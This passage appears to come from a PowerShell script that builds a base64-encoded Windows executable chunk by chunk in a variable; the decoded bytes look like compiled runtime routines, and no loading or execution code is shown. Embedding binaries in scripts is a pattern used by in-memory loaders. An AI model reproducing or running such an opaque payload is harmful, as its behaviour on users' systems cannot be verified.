NHUcrAQBIjT1AKwEA6xJIiwNIhcB0Bv8V0K8AAEiDwwhIO99y6UiLXCQwSIPEIF/DSIlcJAhXSIPsIEiNHRsrAQBIjT0UKwEA6xJIiwNIhcB0Bv8VlK8AAEiDwwhIO99y6UiLXCQwSIPEIF/DwgAAzEiJXCQQSIl0JBhXSIPsEDPAM8kPokSLwUUz20SLy0GB8G50ZWxBgfFHZW51RIvSi/AzyUGNQwFFC8gPokGB8mluZUmJBCRFC8qJXCQEi/mJTCQIiVQkDHVQSIMNe0wBAP8l8D//Dz3ABgEAdCg9YAYCAHQhPXAGAgB0GgWw+fz/g/ggdyRIuQEAAQABAAAASA+jwXMURIsF+FsBAEGDyAFEiQXtWwEA6wdEiwXkWwEAuAcAAABEjUj7O/B8JjPJD6KJBCREi9uJXCQEiUwkCIlUJAwPuuMJcwpFC8FEiQWxWwEAxwXnSwEAAQAAAESJDeRLAQAPuucUD4ORAAAARIkNz0sBALsGAAAAiR3ISwEAD7rnG3N5D7rnHHNzM8kPAdBIweIgSAvQSIlUJCBIi0QkICLDOsN1V4sFmksBAIPICMcFiUsBAAMAAACJBYdLAQBB9sMgdDiDyCDHBXBLAQAFAAAAiQVuSwEAuAAAA9BEI9hEO9h1GEiLRCQgJOA84HUNgw1PSwEAQIkdRUsBAEiLXCQoM8BIi3QkMEiDxBBfw8zMzLgBAAAAw8zMM8A5BahmAQAPlcDDzMzMzA+3wkyLwUUzyWYPbsDyD3DIAGYPcNEASYvAJf8PAABIPfAPAAB3I/NBD28AD1fJZg91yGYPdcJmD+vIZg/XwYXAdR24EAAAAOsRZkE5EHQlZkU5CHQcuAIAAABMA8Drtw+8yEwDwWZBORBND0TISYvBwzPAw0mLwMPMzMxIiVwkCEiJbCQQ';
$dat += 'SIl0JBhXQVRBVUFWQVdIg+xASIvpTYv5SYvISYv4TIvq6AgFAABNi2cITYs3SYtfOE0r9PZFBGZBi3dID4XcAAAASIlsJDBIiXwkODszD4OKAQAAi/5IA/+LRPsETDvwD4KqAAAAi0T7CEw78A+DnQAAAIN8+xAAD4SSAAAAg3z7DAF0F4tE+wxIjUwkMEkDxEmL1f/QhcB4fX50gX0AY3Nt4HUoSIM9fa0AAAB0HkiNDXStAADon5sAAIXAdA66AQAAAEiLzf8VXa0AAItM+xBBuAEAAABJA8xJi9XoGAQAAEmLR0BMi8WLVPsQSYvNRItNAEkD1EiJRCQoSYtHKEiJRCQg/xXvqwAA6BoEAAD/xuk1////M8DpxQAAAEmLfyBEiwtJK/xBO/EPg60AAABFi8GL1kGLyEgD0otE0wRMO/APgogAAACLRNMITDvwc39Ei10EQYPjIHRERTPSRYXAdDRBi8pIA8mLRMsESDv4ch2LRMsISDv4cxSLRNMQOUTLEHUKi0TTDDlEywx0CEH/wkU70HLMQYvJRTvRdT6LRNMQhcB0DEg7+HUkRYXbdSzrHY1GAbEBQYlHSESLRNMMSYvVTQPEQf/QRIsLQYvJ/8ZEi8E78Q+CVv///7gBAAAATI1cJEBJi1swSYtrOEmLc0BJi+NBX0FeQV1BXF/DzEBTSIPsIP8VlKkAAEiFwHQTSIsYSIvI6AQQAABIi8NIhdt17UiDxCBbw8zMSIPsKOjnBAAAhMB1BDLA6xLobgQAAITAdQfoBQUAAOvssAFIg8Qow0iD7CjokwMAAEiFwA+VwEiDxCjDSIPsKDPJ6BEDAACwAUiDxCjDzMxIg+wohMl1CuhvBAAA6MIEAACwAUiDxCjDzMzMSIPsKOhXBAAAsAFIg8Qow0iFyXRniFQkEEiD7EiBOWNzbeB1U4N5GAR1TYtBIC0gBZMZg/gCd0BIi0EwSIXAdDdIY1AEhdJ0EUgDUThIi0ko6CoAAADrIOse9gAQdBlIi0EoSIsISIXJdA1IiwFIi0AQ/xUoqgAASIPESMPMzMxI/+LMzMzMzMzMzMzMzMzMzMzMzMzMZmYPH4QAAAAAAFeLwkiL+UmLyPOqSYvDX8PMzMzMzMxmZg8fhAAAAAAATIvZD7bSSbkBAQEBAQEBAUwPr8pJg/gQD4byAAAAZkkPbsFmD2DASYH4gAAAAHcQ6WsAAABmZmYPH4QAAAAAAPYFsVYBAAJ1lw8RAUwDwUiDwRBIg+HwTCvBTYvIScHpB3Q9TDsN3kYBAA+HYAAAAA8pAQ8pQRBIgcGAAAAADylBoA8pQbBJ/8kPKUHADylB0A8pQeBmDylB8HXUSYPgf02LyEnB6QR0Ew';
$dat += '8fgAAAAAAPEQFIg8EQSf/JdfRJg+APdAZCDxFEAfBJi8PDDx9AAA8rAQ8rQRBIgcGAAAAADytBoA8rQbBJ/8kPK0HADytB0A8rQeAPK0HwddUPrvhJg+B/65xmZmZmDx+EAAAAAABJi9FMjQ0G1v//Q4uEgQCgAQBMA8hJA8hJi8NB/+FmkEiJUfGJUflmiVH9iFH/w5BIiVH0iVH8w0iJUfeIUf/DSIlR84lR+4hR/8MPH0QAAEiJUfKJUfpmiVH+w0iJEMNIiRBmiVAIiFAKww8fRAAASIkQZolQCMNIiRBIiVAIw8zMzMzMzGZmDx+EAAAAAABIiUwkCEiJVCQYRIlEJBBJx8EgBZMZ6wjMzMzMzMxmkMPMzMzMzMxmDx+EAAAAAADDzMzMSIsF9acAAEiNFX74//9IO8J0I2VIiwQlMAAAAEiLiZgAAABIO0gQcgZIO0gIdge5DQAAAM0pw8xIg+woSIXJdBFIjQVUVQEASDvIdAXoogwAAEiDxCjDzEBTSIPsIEiL2YsNFUUBAIP5/3QzSIXbdQ7obgoAAIsNAEUBAEiL2DPS6KYKAABIhdt0FEiNBQpVAQBIO9h0CEiLy+hVDAAASIPEIFvDzMzMSIPsKOgTAAAASIXAdAVIg8Qow+jkGgAAzMzMzEiJXCQISIl0JBBXSIPsIIM9okQBAP91BzPA6ZAAAAD/FZOkAACLDY1EAQCL+OjuCQAASIPK/zP2SDvCdGdIhcB0BUiL8Otdiw1rRAEA6BYKAACFwHROuoAAAACNSoHoBRwAAIsNT0QBAEiL2EiFwHQkSIvQ6O8JAACFwHQSSIvDx0N4/v///0iL3kiL8OsNiw0jRAEAM9LozAkAAEiLy+iMCwAAi8//FQylAABIi8ZIi1wkMEiLdCQ4SIPEIF/DzEiD7ChIjQ2p/v//6MAIAACJBeJDAQCD+P90JUiNFfZTAQCLyOh/CQAAhcB0DscFWVQBAP7///+wAesH6AgAAAAywEiDxCjDzEiD7CiLDaZDAQCD+f90DOi8CAAAgw2VQwEA/7ABSIPEKMPMzEiD7ChFM8BIjQ0eVAEAuqAPAADoeAkAAIXAd';
$dat += 'Ar/BTJUAQCwAesH6AkAAAAywEiDxCjDzMxAU0iD7CCLHRRUAQDrHUiNBeNTAQD/y0iNDJtIjQzI/xVLpAAA/w31UwEAhdt137ABSIPEIFvDzMzMzMzMzGZmDx+EAAAAAABXVkiL+UiL8kmLyPOkXl/DzMzMzMzMZmYPH4QAAAAAAEiLwUyNFbbS//9Jg/gPD4cMAQAAZmZmZg8fhAAAAAAAR4uMglCgAQBNA8pB/+HDkEyLAotKCEQPt0oMRA+2Ug5MiQCJSAhmRIlIDESIUA7DTIsCD7dKCEQPtkoKTIkAZolICESISArDD7cKZokIw5CLCkQPt0IERA+2SgaJCGZEiUAERIhIBsNMiwKLSghED7dKDEyJAIlICGZEiUgMww+3CkQPtkICZokIRIhAAsOQTIsCi0oIRA+2SgxMiQCJSAhEiEgMw0yLAg+3SghMiQBmiUgIw0yLAg+2SghMiQCISAjDTIsCi0oITIkAiUgIw4sKRA+3QgSJCGZEiUAEw4sKRA+2QgSJCESIQATDSIsKSIkIww+2CogIw4sKiQjDkEmD+CB3F/MPbwrzQg9vVALw8w9/CfNCD39UAfDDSDvRcw5OjQwCSTvJD4JBBAAAkIM9gUEBAAMPguMCAABJgfgAIAAAdhZJgfgAABgAdw32BSJRAQACD4Vk/v//xf5vAsShfm9sAuBJgfgAAQAAD4bEAAAATIvJSYPhH0mD6SBJK8lJK9FNA8FJgfgAAQAAD4ajAAAASYH4AAAYAA+HPgEAAGZmZmZmZg8fhAAAAAAAxf5vCsX+b1Igxf5vWkDF/m9iYMX9fwnF/X9RIMX9f1lAxf1/YWDF/m+KgAAAAMX+b5KgAAAAxf5vmsAAAADF/m+i4AAAAMX9f4mAAAAAxf1/kaAAAADF/X+ZwAAAAMX9f6HgAAAASIHBAAEAAEiBwgABAABJgegAAQAASYH4AAEAAA+DeP///02NSB9Jg+HgTYvZScHrBUeLnJqQoAEATQPaQf/jxKF+b4wKAP///8Shfn+MCQD////EoX5vjAog////xKF+f4wJIP///8Shfm+MCkD////EoX5/jAlA////xKF+b4wKYP///8Shfn+MCWD////EoX5vTAqAxKF+f0wJg';
$dat += 'MShfm9MCqDEoX5/TAmgxKF+b0wKwMShfn9MCcDEoX5/bAHgxf5/AMX4d8NmkMX+bwrF/m9SIMX+b1pAxf5vYmDF/ecJxf3nUSDF/edZQMX952Fgxf5vioAAAADF/m+SoAAAAMX+b5rAAAAAxf5vouAAAADF/eeJgAAAAMX955GgAAAAxf3nmcAAAADF/eeh4AAAAEiBwQABAABIgcIAAQAASYHoAAEAAEmB+AABAAAPg3j///9NjUgfSYPh4E2L2UnB6wVHi5yatKABAE0D2kH/48Shfm+MCgD////EoX3njAkA////xKF+b4wKIP///8ShfeeMCSD////EoX5vjApA////xKF954wJQP///8Shfm+MCmD////EoX3njAlg////xKF+b0wKgMShfedMCYDEoX5vTAqgxKF950wJoMShfm9MCsDEoX3nTAnAxKF+f2wB4MX+fwAPrvjF+HfDZmZmZmZmZg8fhAAAAAAASYH4AAgAAHYN9gVITgEAAg+Fivv///MPbwLzQg9vbALwSYH4gAAAAA+GjgAAAEyLyUmD4Q9Jg+kQSSvJSSvRTQPBSYH4gAAAAHZxDx9EAADzD28K8w9vUhDzD29aIPMPb2IwZg9/CWYPf1EQZg9/WSBmD39hMPMPb0pA8w9vUlDzD29aYPMPb2JwZg9/SUBmD39RUGYPf1lgZg9/YXBIgcGAAAAASIHCgAAAAEmB6IAAAABJgfiAAAAAc5RNjUgPSYPh8E2L2UnB6wRHi5ya2KABAE0D2kH/4/NCD29MCoDzQg9/TAmA80IPb0wKkPNCD39MCZDzQg9vTAqg80IPf0wJoPNCD29MCrDzQg9/TAmw80IPb0wKwPNCD39MCcDzQg9vTArQ80IPf0wJ0PNCD29MCuDzQg9/TAng80IPf2wB8PMPfwDDZg8fhAAAAAAATIvZTIvSSCvRSQPIDxBEEfBIg+kQSYPoEPbBD3QXSIvBSIPh8A8QyA8QBBEPEQhMi8FNK8NNi8hJwekHdG8PKQHrFGZmZmZmDx+EAAAAAAAPKUEQDykJDxBEEfAPEEwR4EiB6YAAAAAPKUFwDylJYA8QRBFQDxBMEUBJ/8kPKUFQDylJQA8QRBEwDxBMESAPKUEwDylJIA8QRBEQDxAMEXWuDylBEEmD4H8PKMFNi8hJwekEdBpmZg8fhAAAAAAADxEBSIPpEA8QBBFJ/8l18EmD4A90CEEPEApBDxELDxE';
$dat += 'BSYvDw8zMzEiJXCQISIlsJBBIiXQkGFdBVEFVQVZBV0iD7CCL+UyNPSPM//9Jg87/TYvhSYvoTIvqSYuE/xiBAQCQSTvGD4TrAAAASIXAD4XkAAAATTvBD4TRAAAAi3UASYuc9wCBAQCQSIXbdAtJO94PhZkAAADra02LvPd44QAAM9JJi89BuAAIAAD/FT2dAABIi9hIhcB1Vv8V35sAAIP4V3UtRI1DB0mLz0iNFcStAADofxMAAIXAdBZFM8Az0kmLz/8VBZ0AAEiL2EiFwHUeSYvGTI09c8v//0mHhPcAgQEASIPFBEk77Oln////SIvDTI09Vcv//0mHhPcAgQEASIXAdAlIi8v/Fa+cAABJi9VIi8v/FaucAABIhcB0DUiLyEmHjP8YgQEA6wpNh7T/GIEBADPASItcJFBIi2wkWEiLdCRgSIPEIEFfQV5BXUFcX8PMzEBTSIPsIEiL2UyNDSitAAAzyUyNBRetAABIjRUYrQAA6Iv+//9IhcB0D0iLy0iDxCBbSP8lf50AAEiDxCBbSP8lC5wAAMzMzEBTSIPsIIvZTI0N+awAALkBAAAATI0F5awAAEiNFeasAADoQf7//4vLSIXAdAxIg8QgW0j/JTadAABIg8QgW0j/JdKbAADMzEBTSIPsIIvZTI0NwawAALkCAAAATI0FrawAAEiNFa6sAADo+f3//4vLSIXAdAxIg8QgW0j/Je6cAABIg8QgW0j/JYKbAADMzEiJXCQIV0iD7CBIi9pMjQ2MrAAAi/lIjRWDrAAAuQMAAABMjQVvrAAA6Kr9//9Ii9OLz0iFwHQI/xWinAAA6wb/FdqZAABIi1wkMEiDxCBfw8zMzEiJXCQISIl0JBBXSIPsIEGL8EyNDUusAACL2kyNBTqsAABIi/lIjRU4rAAAuQQAAADoTv3//4vTSIvPSIXAdAtEi8b/FUOcAADrBv8Vy5oAAEiLXCQwSIt0JDhIg8QgX8PMzMzMzMzMzMzMzMzMzMzMzGZmDx+EAAAAAABIg+woSIlMJDBIiVQkOESJRCRASIsSSIvB6LLz////0Ojb8///SIvISItUJDhIixJBuAIAAADolfP//0iDxCjDzMzMzMzMZmYPH4QAAAAAAEiD7ChIiUwkMEiJVCQ4RIlEJEBIixJIi8HoYvP////Q6Ivz//9Ig8Qow8zMzMzMzEiD7ChIiUwkMEiJVCQ4SItUJDhIixJBuAIAAADoL/P//0iDxCjDzMzMzMzMDx9AAEiD7ChIiUwkMEiJVCQ4TIlEJEBEiUwkSEWLwUiLwej98v//SItMJED/0Ogh8///SIvISItUJDhBuAIAAADo3vL//0iDxCjDzMdEJBAAAAAAi0QkEOlbEAAAzMzM6ZMQAADMzMxIiVwkCEiJbCQQSIl0JBhXSIPsIDPtSIv6SCv5SIvZSIPHB4v1SMHvA0g7ykgPR/1Ihf90GkiLA0iFwHQG/xW5mgAASIPDCEj/xkg793XmSItcJDBIi2wkOEiLdCRASIPEIF/DSIlcJAhXSIPsIEiL+kiL2Ug7ynQbSIsDSIXAdAr/FXWaAACFwHULSIPDCEg73+vjM8BIi1wkMEiDxCBfw8zMzLhjc23gO8h0AzPAw4vI6QEAAADMSIlcJAhIiWwkEEiJd';
$dat += 'CQYV0iD7CBIi/KL+ehSFQAARTPJSIvYSIXAD4Q+AQAASIsISIvBTI2BwAAAAEk7yHQNOTh0DEiDwBBJO8B180mLwUiFwA+EEwEAAEyLQAhNhcAPhAYBAABJg/gFdQ1MiUgIQY1A/On1AAAASYP4AXUIg8j/6ecAAABIi2sISIlzCIN4BAgPhboAAABIg8EwSI2RkAAAAOsITIlJCEiDwRBIO8p184E4jQAAwIt7EHR6gTiOAADAdGuBOI8AAMB0XIE4kAAAwHRNgTiRAADAdD6BOJIAAMB0L4E4kwAAwHQggTi0AgDAdBGBOLUCAMCL13VAuo0AAADrNrqOAAAA6y+6hQAAAOsouooAAADrIbqEAAAA6xq6gQAAAOsTuoYAAADrDLqDAAAA6wW6ggAAAIlTELkIAAAASYvA/xX3mAAAiXsQ6xCLSARMiUgISYvA/xXimAAASIlrCOkT////M8BIi1wkMEiLbCQ4SIt0JEBIg8QgX8PMzEiJXCQITIlMJCBXSIPsIEmL2UmL+IsK6EQVAACQSIvP6BMAAACQiwvohxUAAEiLXCQwSIPEIF/DQFNIg+wgSIvZgD0QRwEAAA+FnwAAALgBAAAAhwXvRgEASIsBiwiFyXU0SIsFnzUBAIvIg+E/SIsV20YBAEg70HQTSDPCSNPIRTPAM9Izyf8VM5gAAEiNDfRHAQDrDIP5AXUNSI0N/kcBAOgdCQAAkEiLA4M4AHUTSI0VeZgAAEiNDVKYAADoAf3//0iNFXaYAABIjQ1nmAAA6O78//9Ii0MIgzgAdQ7GBXJGAQABSItDEMYAAUiDxCBbw+jgCgAAkMzMzDPAgfljc23gD5TAw0iJXCQIRIlEJBiJVCQQVUiL7EiD7FCL2UWFwHVKM8n/FfOVAABIhcB0PblNWgAAZjkIdTNIY0g8SAPIgTlQRQAAdSS4CwIAAGY5QRh1GYO5hAAAAA52EIO5+AAAAAB0B4vL6KEAAABIjUUYxkUoAEiJReBMjU3USI1FIEiJRehMjUXgSI1FKEiJRfBIjVXYuAIAAABIjU3QiUXUiUXY6FX+//+DfSAAdAtIi1wkYEiDxFBdw4vL6AEAAADMQFNIg+wgi9no/xMAAIP4AXQoZUiLBCVgAAAAi5C8AAAAweoI9sIBdRH/Fd2UAABIi8iL0/8V2pQAAIvL6AsAAACLy/8Vg5UAAMzMzEBTSIPsIEiDZCQ4AEyNRCQ4i9lIjRVupwAAM8n/FWaVAACFwHQfSItMJDhIjRVupwAA/xUwlQAASIXAdAiLy/8Va5YAAEiLTCQ4SIXJdAb/FQuVAABIg8QgW8PMSIkN3UQBAMMz0jPJRI1CAemH/v//zMzMRTPAQY1QAul4/v//iwWyRAEAw8xIi8RIiVgISIloEEiJcBhIiXggQVRBVkFXSIPsIEyLfCRgTYvhSYvYTIvySIv5SYMnAEnHAQEAAABIhdJ0B0iJGkmDxghAMu2APyJ1D0CE7UC2IkAPlMVI/8frN0n/B0iF23QHigeIA0j/ww++N0';
$dat += 'j/x4vO6JgtAACFwHQSSf8HSIXbdAeKB4gDSP/DSP/HQIT2dBxAhO11sECA/iB0BkCA/gl1pEiF23QJxkP/AOsDSP/PQDL2igeEwA+E1AAAADwgdAQ8CXUHSP/Higfr8YTAD4S9AAAATYX2dAdJiR5Jg8YISf8EJLoBAAAAM8DrBUj/x//Aig+A+Vx09ID5InUwhMJ1GECE9nQKOE8BdQVI/8frCTPSQIT2QA+UxtHo6xD/yEiF23QGxgNcSP/DSf8HhcB17IoHhMB0RkCE9nUIPCB0PTwJdDmF0nQtSIXbdAeIA0j/w4oHD77I6LEsAACFwHQSSf8HSP/HSIXbdAeKB4gDSP/DSf8HSP/H6Wb///9Ihdt0BsYDAEj/w0n/B+ki////TYX2dARJgyYASf8EJEiLXCRASItsJEhIi3QkUEiLfCRYSIPEIEFfQV5BXMPMQFNIg+wgSLj/////////H0yLykg7yHM9M9JIg8j/SffwTDvIcy9IweEDTQ+vyEiLwUj30Ek7wXYcSQPJugEAAADowhQAADPJSIvY6GwJAABIi8PrAjPASIPEIFvDzMzMSIlcJAhVVldBVkFXSIvsSIPsMDP/RIvxhckPhFMBAACNQf+D+AF2FuhbFAAAjV8WiRjoMRMAAIv76TUBAADo/ScAAEiNHV5CAQBBuAQBAABIi9MzyeieHwAASIs1J0YBAEiJHQBGAQBIhfZ0BUA4PnUDSIvzSI1FSEiJfUBMjU1ASIlEJCBFM8BIiX1IM9JIi87oSf3//0yLfUBBuAEAAABIi1VISYvP6PP+//9Ii9hIhcB1GOjOEwAAuwwAAAAzyYkY6JQIAADpav///06NBPhIi9NIjUVISIvOTI1NQEiJRCQg6Pf8//9Bg/4BdRaLRUD/yEiJHX1FAQCJBW9FAQAzyetpSI1VOEiJfThIi8voxx0AAIvwhcB0GUiLTTjoOAgAAEiLy0iJfTjoLAgAAIv+6z9Ii1U4SIvPSIvCSDk6dAxIjUAISP/BSDk4dfSJDRtFAQAzyUiJfThIiRUWRQEA6PUHAABIi8tIiX046OkHAABIi1wkYIvHSIPEMEFfQV5fXl3DzMxIiVwkCFdIg+wgM/9IOT0VQgEAdAQzwOtI6JomAADojSsAAEiL2EiFwHUFg8//6ydIi8voNAAAAEiFwHUFg8//6w5IiQX3QQEASIkF2EEBADPJ6H0HAABIi8vodQcAAIvHSItcJDBIg8QgX8NIiVwkCEiJbCQQSIl0JBhXQVZBV0iD7DBMi/Ez9ovOTYvGQYoW6ySA+j1IjUEBSA9EwUiLyEiDyP9I/8BBODQAdfdJ/8BMA8BBihCE0nXYSP/BuggAAADoWBIAAEiL2EiFwHRsTIv4QYoGhMB0X0iDzf9I/8VBODQudfdI/8U8PXQ1ugEAAABIi83oJRIAAEiL+EiFwHQlTYvGSIvVSIvI6KcEAAAzyYXAdUhJiT9Jg8cI6LEGAABMA/Xrq0iLy+hEAAAAM8nonQYAAOsDSIvzM8nokQYAAEiLXCRQSIvGSIt0JGBIi2wkWEiDxDBBX0FeX8NFM8lIiXQkIEUzwDPS6I8QAADMzMxIhcl0O0iJXCQIV0iD7CBIiwFIi9lIi/nrD0iLyOg+BgAASI1/CEiLB0iFwHXsSIvL6CoGAABIi1wkMEiDxCBfw8zMzEiD7ChIiwlIOw16QAEAdAXop////0iDxCjDzMxIg+woSIsJSDsNVkABAHQF6Iv///9Ig8Qow8zMSIPsKEiNDS1AAQDouP///0iNDSlAAQDoyP///0iLDS1AAQDoXP///0iL';
$dat += 'DRlAAQBIg8Qo6Uz////p0/3//8zMzEiJXCQITIlMJCBXSIPsIEmL2UmL+IsK6NQMAACQSIvP6BcAAACL+IsL6BYNAACLx0iLXCQwSIPEIF/DzEiJXCQISIlsJBBIiXQkGFdBVkFXSIPsIEiLAUiL8UiLGEiF23UIg8j/6c8AAABMiwUnLQEAQYvISYv4SDM7g+E/SItbCEjTz0kz2EjTy0iNR/9Ig/j9D4efAAAAQYvITYvwg+E/TIv/SIvrSIPrCEg733JVSIsDSTvGdO9JM8BMiTNI08j/FYmPAABMiwXKLAEASIsGQYvIg+E/SIsQTIsKSItCCE0zyEkzwEnTyUjTyE07z3UFSDvFdLBNi/lJi/lIi+hIi9jrokiD//90D0iLz+iRBAAATIsFfiwBAEiLBkiLCEyJAUiLBkiLCEyJQQhIiwZIiwhMiUEQM8BIi1wkQEiLbCRISIt0JFBIg8QgQV9BXl/DzMxMi9xJiUsISIPsOEmNQwhJiUPoTY1LGLgCAAAATY1D6EmNUyCJRCRQSY1LEIlEJFjod/7//0iDxDjDzMxIhcl1BIPI/8NIi0EQSDkBdRJIiwXvKwEASIkBSIlBCEiJQRAzwMPMSI0FcTEBAEiJBRJHAQCwAcPMzMxIg+woSI0NQT4BAOi0////SI0NTT4BAOio////sAFIg8Qow8ywAcPMSIPsKOjD/f//sAFIg8Qow0BTSIPsIEiLHYcrAQBIi8vo3wwAAEiLy+jvMQAASIvL6MsyAABIi8vobzUAAEiLy+jD9///sAFIg8QgW8PMzMwzyelJ4///zEBTSIPsIEiLDUdAAQCDyP/wD8EBg/gBdR9Iiw00QAEASI0dfSsBAEg7y3QM6CcDAABIiR0cQAEAsAFIg8QgW8NIg+woSIsNWUYBAOgIAwAASIsNVUYBAEiDJUVGAQAA6PQCAABIiw0JQAEASIMlOUYBAADo4AIAAEiLDf0/AQBIgyXtPwEAAOjMAgAASIMl6D8BAACwAUiDxCjDzEiNFWGfAABIjQ1angAA6VkwAADMSIPsKOh3CAAASIXAD5XASIPEKMNIg+wo6KMGAACwAUiDxCjDSIPsKITJdBZIgz24RQEAAHQF6EU3AACwAUiDxCjDSI0VC58AAEiNDQSeAABIg8Qo6X8wAADMzMxIg+wo6CMJAACwAUiDxCjDSIPsKOiPBgAASItAGEiFwHQI/xXQjAAA6wDoYQAAAJBAU0iD7CAz20iFyXQMSIXSdAdNhcB1G4gZ6CoNAAC7FgAAAIkY6P4LAACLw0iDxCBbw0yLyUwrwUOKBAhBiAFJ/8GEwHQGSIPqAXXsSIXSddmIGejwDAAAuyIAAADrxMxIg+wo6NMwAABIhcB0CrkWAAAA6BQxAAD2BckpAQACdCq5FwAAAP8VXIoAAIXAdAe5BwAAAM0pQbgBAAAAuhUAAEBBjUgC6GkJAAC5AwAAAOjX9f//zMzMSIlcJAhIiXQkEFdIg+wgxkEYAEiL+UiNcQh';
$dat += 'IhdJ0BQ8QAusQgz2dRAEAAHUNDxAFFDABAPMPfwbrTuiBBQAASIkHSIvWSIuIkAAAAEiJDkiLiIgAAABIiU8QSIvI6P44AABIiw9IjVcQ6CY5AABIiw+LgagDAACoAnUNg8gCiYGoAwAAxkcYAUiLXCQwSIvHSIt0JDhIg8QgX8PMzMzMzMzMzMzMzGZmDx+EAAAAAABIK9FNhcB0avfBBwAAAHQdD7YBOgQKdV1I/8FJ/8h0UoTAdE5I98EHAAAAdeNJu4CAgICAgICASbr//v7+/v7+/o0ECiX/DwAAPfgPAAB3wEiLAUg7BAp1t0iDwQhJg+gIdg9NjQwCSPfQSSPBSYXDdM8zwMNIG8BIg8gBw8zMzOl7CwAAzMzMTYXAdRgzwMMPtwFmhcB0E2Y7AnUOSIPBAkiDwgJJg+gBdeUPtwEPtworwcNIhcl0N1NIg+wgTIvBM9JIiw3WPgEA/xV4iQAAhcB1F+gHCwAASIvY/xXuhwAAi8joPwoAAIkDSIPEIFvDzMzMQFNIg+wgSIvZSIP54Hc8SIXJuAEAAABID0TY6xXoBjkAAIXAdCVIi8voBi4AAIXAdBlIiw1zPgEATIvDM9L/FRiJAABIhcB01OsN6JwKAADHAAwAAAAzwEiDxCBbw8zMSIlcJAhMiUwkIFdIg+wgSYvZSYv4iwrokAYAAJBIiwdIiwhIi4GIAAAA8P8AiwvozAYAAEiLXCQwSIPEIF/DzEiJXCQITIlMJCBXSIPsIEmL2UmL+IsK6FAGAACQSIsPM9JIiwnopgIAAJCLC+iOBgAASItcJDBIg8QgX8PMzMxIiVwkCEyJTCQgV0iD7CBJi9lJi/iLCugQBgAAkEiLRwhIixBIiw9IixJIiwnoXgIAAJCLC+hGBgAASItcJDBIg8QgX8PMzMxIiVwkCEyJTCQgV0iD7CBJi9lJi/iLCujIBQAAkEiLB0iLCEiLiYgAAABIhcl0HoPI//APwQGD+AF1EkiNBaImAQBIO8h0BuhM/v//kIsL6OQFAABIi1wkMEiDxCBfw8xAVUiL7EiD7FBIiU3YSI1F2EiJRehMjU0gugEAAABMjUXouAUAAACJRSCJRShIjUXYSIlF8EiNReBIiUX4uAQAAACJRdCJRdRIjQUdQQEASIlF4IlRKEiNDYeYAABIi0XYSIkISI0NGSYBAEiLRdiJkKgDAABIi0XYSImIiAAAAI1KQkiLRdhIjVUoZomIvAAAAEiLRdhmiYjCAQAASI1NGEiLRdhIg6CgAwAAAOgm/v//TI1N0EyNRfBIjVXUSI1NGOiR/v//SIPEUF3DzMzMSIXJdBpTSIPsIEiL2egOAAAASIvL6E79//9Ig8QgW8NAVUiL7EiD7EBIjUXoSIlN6EiJRfBIjRXYlwAAuAUAAACJRSCJRShIjUXoSIlF+LgEAAAAiUXgiUXkSIsBSDvCdAxIi8jo/vz//0iLTehIi0lw6PH8//9Ii03oSItJWOjk/P//SItN6EiLSWDo1/z//0iLTehIi0lo6Mr8//9Ii03oSItJSOi9/P//SItN6EiLSVDosPz//0iLTehIi0l46KP8//9Ii03oSIuJgAAAAOiT/P//SItN6EiLicADAADog/z//0yNTSBMjUXwSI1VKEiNTRjo1v3//0yNTeBMjUX4SI1V5EiNTRjoOf3//0iDxEBdw8zMzEiJXCQIV0iD7CBIi/lIi9pIi4mQAAAASIXJdCzoKzgAAEiLj5AAAABIOw1';
$dat += 'VPwEAdBdIjQWkKQEASDvIdAuDeRAAdQXoBDYAAEiJn5AAAABIhdt0CEiLy+hkNQAASItcJDBIg8QgX8PMQFNIg+wgiw0YJAEAg/n/dCroPiQAAEiL2EiFwHQdiw0AJAEAM9LocSQAAEiLy+ht/v//SIvL6K37//9Ig8QgW8PMzMxIiVwkCEiJdCQQV0iD7CD/FauDAACLDcUjAQCL2IP5/3Qf6OkjAABIi/hIhcB0DEiD+P91czP/M/brcIsNnyMBAEiDyv/oDiQAAIXAdOe6yAMAALkBAAAA6JMGAACLDX0jAQBIi/hIhcB1EDPS6OYjAAAzyegr+///67pIi9fo1SMAAIXAdRKLDVMjAQAz0ujEIwAASIvP69tIi8/oy/z//zPJ6Pz6//9Ii/eLy/8VDYQAAEj330gbwEgjxnQQSItcJDBIi3QkOEiDxCBfw+gV+f//zEBTSIPsIIsNACMBAIP5/3Qb6CYjAABIi9hIhcB0CEiD+P90fettiw3gIgEASIPK/+hPIwAAhcB0aLrIAwAAuQEAAADo1AUAAIsNviIBAEiL2EiFwHUQM9LoJyMAADPJ6Gz6///rO0iL0+gWIwAAhcB1EosNlCIBADPS6AUjAABIi8vr20iLy+gM/P//M8noPfr//0iF23QJSIvDSIPEIFvD6G74///MzEiJXCQISIl0JBBXSIPsIP8VL4IAAIsNSSIBAIvYg/n/dB/obSIAAEiL+EiFwHQMSIP4/3VzM/8z9utwiw0jIgEASIPK/+iSIgAAhcB057rIAwAAuQEAAADoFwUAAIsNASIBAEiL+EiFwHUQM9LoaiIAADPJ6K/5///rukiL1+hZIgAAhcB1EosN1yEBADPS6EgiAABIi8/r20iLz+hP+///M8nogPn//0iL94vL/xWRggAASItcJDBI999IG8BII8ZIi3QkOEiDxCBfw0iD7ChIjQ3p+///6CghAACJBYIhAQCD+P91BDLA6xXoEP///0iFwHUJM8noDAAAAOvpsAFIg8Qow8zMzEiD7CiLDVIhAQCD+f90DOgwIQAAgw1BIQEA/7ABSIPEKMPMzEBTSIPsIDPbSI0VmTMBAEUzwEiNDJtIjQzKuqAPAADo4CEAAIXAdBH/Bao1AQD/w4P7DnLTsAHrCTPJ6CQAAAAywEiDxCBbw0hjwUiNDIBIjQVSMwEASI0MyEj/Jb+BAADMzMxAU0iD7CCLHWg1AQDrHUiNBS8zAQD/y0iNDJtIjQzI/xWngQAA/w1JNQEAhdt137ABSIPEIFvDzEhjwUiNDIBIjQX+MgEASI0MyEj/JXOBAADMzMxAU0iD7CAz24lcJDBlSIsEJWAAAABIi0ggOVkIfBFIjUwkMOhsHwAAg3wkMAF0BbsBAAAAi8NIg8QgW8NIiVwkEEiJdCQYVVdBVkiNrCQQ+///SIHs8AUAAEiLBdgfAQBIM8RIiYXgBAAAQYv4i/KL2YP5/3QF6CnR//8z0kiNTCRwQbiYAAAA6IPY//8z0kiNTRBBuNAEAADoctj//0iNRCRwSIlEJEhIjU0QSI1FEEiJRCRQ/xXtgQAATIu1CAEAAEiNVCRASYvORTPA/xXNgQAASIXAdDZIg2QkOABIjUwkWEiLVCRATIvISIlMJDBNi8ZIjUwkYEiJTCQoSI1NEEiJTCQgM8n/FYqBAABIi4U